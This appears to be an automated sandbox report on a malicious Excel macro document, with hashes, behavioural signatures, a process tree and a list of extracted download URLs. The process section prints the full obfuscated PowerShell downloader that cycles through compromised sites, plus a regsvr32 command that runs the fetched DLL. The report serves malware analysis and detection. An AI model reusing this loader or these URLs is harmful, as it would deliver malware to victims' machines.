Analysis
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max time kernel
32s -
max time network
35s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13-11-2024 21:42
Behavioral task
behavioral1
Sample
41e539903a92b4fe938d7129fe36d6430eec45de74498889ce9672200cf2a82d.xls
Resource
win7-20240903-en
General
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Target
41e539903a92b4fe938d7129fe36d6430eec45de74498889ce9672200cf2a82d.xls
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Size
438KB
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MD5
58cd09a0cc6958ecfe77fe5c6f6feb81
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SHA1
d6443a069ea6c1f6d21dbaf700c329cb12aef2d6
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SHA256
41e539903a92b4fe938d7129fe36d6430eec45de74498889ce9672200cf2a82d
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SHA512
62c3b55771518a530dc00dcc987d5ae2aa231281323e565c97f4c3763672c0dffd88dbc165e2c65bf972950377dbd18808515d867e40d39fa2077807d1526559
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SSDEEP
12288:f947a/JjsLZjXYc7X0/aXCKli04OaZ1X+Q7hFk:burYc7E/i004OSH7hFk
Malware Config
Extracted
https://wildmanwildfood.com/wp-admin/wxyadXKXFe/
https://ashven.co.uk/wp-includes/UwBairqGXVb11tCu/
https://aigenix.comartstudios.com/cgi-bin/ZZ8HCNr40H/
https://fastonlineearn.com/wp-content/L/
https://mbmscaffolding.co.uk/test/3j/
https://ineslebuhan.com/wp-includes/7dLR8UB3RFfSHd4cZN/
https://mccoygloballinks.com/cgi-bin/HvZWLrLljiRj2ck/
http://lonaomer.com/wp-content/6G/
https://tainformado.com.br/wp-content/0Ysot/
https://nifdtb.in/wp-content/9uHo3GBgyIQ/
https://sdn3sajen.stormapp.in/wp-admin/Xc6Z/
https://narsanat.com/banner/TnIhz/
https://vanessanascimento.com.br/auren-xbox/cDD2dfW/
https://medvital.com.br/arquivos/q6ZjbPPoR7l/
https://mcjalandhar.in/1950-kill/BMoLHJM4g/
https://nuranabd.com/wp-content/BhYOZ2pJV5q/
https://sdigitaltv.online/wp-admin/rpRCArrXjpoUXo/
http://news.leta.com.vn/-/NQOY80o/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
wscript.exedescription pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 884 2864 wscript.exe 82 -
Blocklisted process makes network request 10 IoCs
Processes:
powershell.exeflow pid Process 24 1688 powershell.exe 26 1688 powershell.exe 31 1688 powershell.exe 35 1688 powershell.exe 39 1688 powershell.exe 44 1688 powershell.exe 49 1688 powershell.exe 54 1688 powershell.exe 60 1688 powershell.exe 67 1688 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
regsvr32.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid Process 2864 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 1688 powershell.exe 1688 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 1688 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid Process 2864 EXCEL.EXE 2864 EXCEL.EXE 2864 EXCEL.EXE 2864 EXCEL.EXE 2864 EXCEL.EXE 2864 EXCEL.EXE 2864 EXCEL.EXE 2864 EXCEL.EXE 2864 EXCEL.EXE 2864 EXCEL.EXE 2864 EXCEL.EXE 2864 EXCEL.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
EXCEL.EXEwscript.execmd.exedescription pid Process procid_target PID 2864 wrote to memory of 884 2864 EXCEL.EXE 88 PID 2864 wrote to memory of 884 2864 EXCEL.EXE 88 PID 884 wrote to memory of 1688 884 wscript.exe 89 PID 884 wrote to memory of 1688 884 wscript.exe 89 PID 884 wrote to memory of 4148 884 wscript.exe 101 PID 884 wrote to memory of 4148 884 wscript.exe 101 PID 4148 wrote to memory of 4244 4148 cmd.exe 103 PID 4148 wrote to memory of 4244 4148 cmd.exe 103 PID 4148 wrote to memory of 4244 4148 cmd.exe 103
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\41e539903a92b4fe938d7129fe36d6430eec45de74498889ce9672200cf2a82d.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\etyockqw.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:884 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"https:dhjdhjwildmanwildfood.comdhjwp-admindhjwxyadXKXFedhjbouhttps:dhjdhjashven.co.ukdhjwp-includesdhjUwBairqGXVb11tCudhjbouhttps:dhjdhjaigenix.comartstudios.comdhjcgi-bindhjZZ8HCNr40Hdhjbouhttps:dhjdhjfastonlineearn.comdhjwp-contentdhjLdhjbouhttps:dhjdhjmbmscaffolding.co.ukdhjtestdhj3jdhjbouhttps:dhjdhjineslebuhan.comdhjwp-includesdhj7dLR8UB3RFfSHd4cZNdhjbouhttps:dhjdhjmccoygloballinks.comdhjcgi-bindhjHvZWLrLljiRj2ckdhjbouhttp:dhjdhjlonaomer.comdhjwp-contentdhj6Gdhjbouhttps:dhjdhjtainformado.com.brdhjwp-contentdhj0Ysotdhjbouhttps:dhjdhjnifdtb.indhjwp-contentdhj9uHo3GBgyIQdhjbouhttps:dhjdhjsdn3sajen.stormapp.indhjwp-admindhjXc6Zdhjbouhttps:dhjdhjnarsanat.comdhjbannerdhjTnIhzdhjbouhttps:dhjdhjvanessanascimento.com.brdhjauren-xboxdhjcDD2dfWdhjbouhttps:dhjdhjmedvital.com.brdhjarquivosdhjq6ZjbPPoR7ldhjbouhttps:dhjdhjmcjalandhar.indhj1950-killdhjBMoLHJM4gdhjbouhttps:dhjdhjnuranabd.comdhjwp-contentdhjBhYOZ2pJV5qdhjbouhttps:dhjdhjsdigitaltv.onlinedhjwp-admindhjrpRCArrXjpoUXodhjbouhttp:dhjdhjnews.leta.com.vndhj-dhjNQOY80odhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\irlkhkuw.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 32463){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1688
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll3⤵
- Suspicious use of WriteProcessMemory
PID:4148 -
\??\c:\windows\syswow64\regsvr32.exec:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll4⤵
- System Location Discovery: System Language Discovery
PID:4244
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize2KB
MD5dfce04e104ffb62c836f692e13479ae3
SHA1881686a0958679fc15f1dac6718b28dfb18142d1
SHA25615f2628437a1ccb937ab775e84a3672e2ce947a31d47876610850f0a66ffdbd4
SHA51219b4730758338d2b0fae8726aadf4f29f677615e3e5d467a306f4e79b330aed6e8a24d3c2a1a1344d692a17bd163666bcb1f84fc5a8c5d982c211e8c2b87e3b1
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Filesize
2KB
MD5a35f55cf91f2003615533b5be5948090
SHA1b5b89075550e2592b69f4541cfbdf33dd8fbf175
SHA256d297bdfe7fdf74ffe50cad7965843bb92cd55b44370e1b7b8ddb99cf7ab3af7c
SHA512098097cd100b73f231b3c1bb3e8330a584b2b2742be8a27211ea9f9f7875c78b414341e626b5c071abc0589caf3a2ac80c99c79b952388cc96884fd33b397899
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Filesize
1KB
MD51326c16a18441423830933fbb3a6a290
SHA1d62b5f0ec9ae7a82209938c347311519b9fc1084
SHA2563bb40456027c77d05b991e4686f10e51739a6ebdca3e33ec5edcd1e2c28b34cf
SHA5122b9076d43ccc836c89bcd4cc1946008b1d0268edf432d37659960f4ffb9836ca65e638b61305f374ba71b2fa21ac3210482c0e6287288e75bcd44d4fbeb3e528